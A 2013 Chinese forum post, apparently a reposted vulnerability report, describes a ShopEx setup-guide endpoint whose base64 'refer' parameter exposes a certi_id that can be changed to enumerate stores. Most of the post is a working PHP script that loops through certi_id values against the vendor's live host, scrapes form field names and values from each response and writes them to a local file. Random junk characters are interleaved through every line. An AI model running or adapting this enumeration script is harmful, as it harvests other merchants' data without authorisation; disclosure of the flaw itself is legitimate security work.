找回密码
 立即注册
查看: 3173|回复: 0
打印 上一主题 下一主题

ShopEx某接口缺陷可遍历所有用户网站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 15:59:47 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
7 X& j2 G4 B4 nShopEx某接口缺陷,可遍历所有网站0 m6 i3 g( Y! }3 I
详细说明:+ B% l# \' T# C+ n0 C) B
问题出现在shopex 网店使用向导页面 5 T7 _( |' x3 C% M5 y
# u7 H/ ]* o4 W7 e1 o; |

& o+ L. D) U9 t: o1 O6 Y6 q, Y, P4 J0 ~9 |- z  x1 X8 z
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
" N: U0 {- [0 l2 V% m$ B: C7 }5 u( {$ u4 D. @5 E/ h: l3 Q0 _
3 i; z5 {: I$ O- h
- x% J6 a* Q' |' c& P  `7 x
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}. @7 t% _$ i$ @. ?4 K; ]
/ }4 P4 v# ?! [1 ~
/ `8 J3 f+ h+ `$ }1 A
, Q3 B; K. ^6 W& I. s
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
* m5 A9 e1 z" B2 R/ U8 N+ A7 R8 n2 F6 @, ]; z# {1 l' f7 N9 f; `9 n
' N. |( z" m9 h9 a: ~# E
+ k! I) Y% n8 Z, D
<?php
& m( V) \$ J  K/ [9 ^& r, ^9 F7 t+ r+ ~8 k0 X5 @
                for ($i=1; $i < 10000; $i++) { //遍历
6 G% t  G) h" @1 o/ R5 Q+ m7 m5 b; A# n. f9 [
                        ShowshopExD($i);
" ^* S* ~5 I$ m. F) P
- {5 j( H7 ~, ~! L& f                }4 q$ V$ T' F: \% i/ d4 F- [4 G

, j% M2 E+ ^  T: Y% C                function ShowshopExD($cid) {
$ v* q- l& w3 W( v- t: T7 y
0 t0 T2 S) x; r4 e8 t) c0 k                $url='http://guide.ecos.shopex.cn/step2.php';
: F- M/ G/ j  u
9 L  C: A+ o5 N% g# `, }1 N                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');$ p9 f. P( C' U; _3 l- h

" N  T" T4 G5 ~% @! R, N        $url = $url.'?refer='.$refer;
8 Z* P3 T: o6 K; c/ K9 n/ s4 q' v5 c% ~
        $ch = curl_init($url);" l  V" k7 S( {0 K: [

/ M9 R. P: M" Q7 O- A5 _        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
- O! |. l3 @, X- V" k7 F4 q: j& ?+ Y4 v
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;4 E& p' e- s: ?) E/ v

2 }3 a8 u, J3 C& C1 H) I        $result = curl_exec($ch);0 V: d& ?. m* M9 Y* G

( {; A/ d$ v; `, V        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
& W% A+ V4 i8 m) Q# h6 ?  ]% ^# N; n- l4 p1 @& I# w/ x
        if(strpos($result,$refer))
6 _! U6 N" l& U* u4 u- w5 }
& m$ P* r: q; k1 T$ t3 F# X        {; T9 O! Q! Q4 g4 l
7 _9 j6 S, q! y: R
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件4 G, S: V7 D$ J( q" `, S

+ y1 j" H1 g! K/ }! ^  f3 E) p                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);7 h& Z+ o- Q. k/ v! s+ m
3 U6 g1 X* _9 F1 N1 m9 [# R0 f% n3 S
                foreach ($value[1] as $key) {* p! F2 @$ H" b( ?1 S: N

( s& G: b- p) m% D( n                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);( i5 j% b: G1 D: B  ^

& |) R. E$ A4 R  R; R- E7 X! _                        echo $res[1][0].':'.$res[3][0]."\r\n";2 h9 [2 y% l4 r* R( R+ w
. U/ u' e9 u+ N, E
                        $col =$res[1][0].':'.$res[3][0]."\r\n";   c$ |" Q; V. u- }- v; F  c" U
$ z* r6 u9 M% R, g) V1 h
                        fwrite($fp, $col, strlen($col));
0 B, u8 i" W2 o% r" w2 U" L
5 U+ m7 o& W0 q" t4 O2 T                }' f& s$ h- @& u3 P! Z6 u5 H; Y

1 A( r/ T; v6 Y3 w  m                echo '--------------------------------'."\r\n";+ ~6 \- Y: [. c2 u
" }" A  _% f7 H" ]& I% f# e
                fclose($fp);
: [+ {6 \- j/ `/ k8 B  W  A* M
1 C" r$ x5 u" P4 K: `1 T" @3 }        }5 S! q  B2 {1 @% o! f9 d' \4 B3 C$ w

0 ?6 P0 \* K# o( t1 F        flush();
. X6 Q+ i( g- `8 x7 Y4 F+ f6 ^
- B( G7 z  J" t$ Q        curl_close($ch);. m  n4 u; |4 b, U: m6 t
0 A. M; w/ R/ _6 S
                }
+ ^, y9 p( L- m9 @( w5 C. |) a" F  l$ v% K
?>0 t! m. S6 j' p& K8 g' X( u  S
漏洞证明:
% K7 _* w1 U* f, p: yhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
, {9 Z$ p" d( P3 z9 Q* krefer换成其他加密方式
) n. S7 ]0 H* p3 C* U: K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表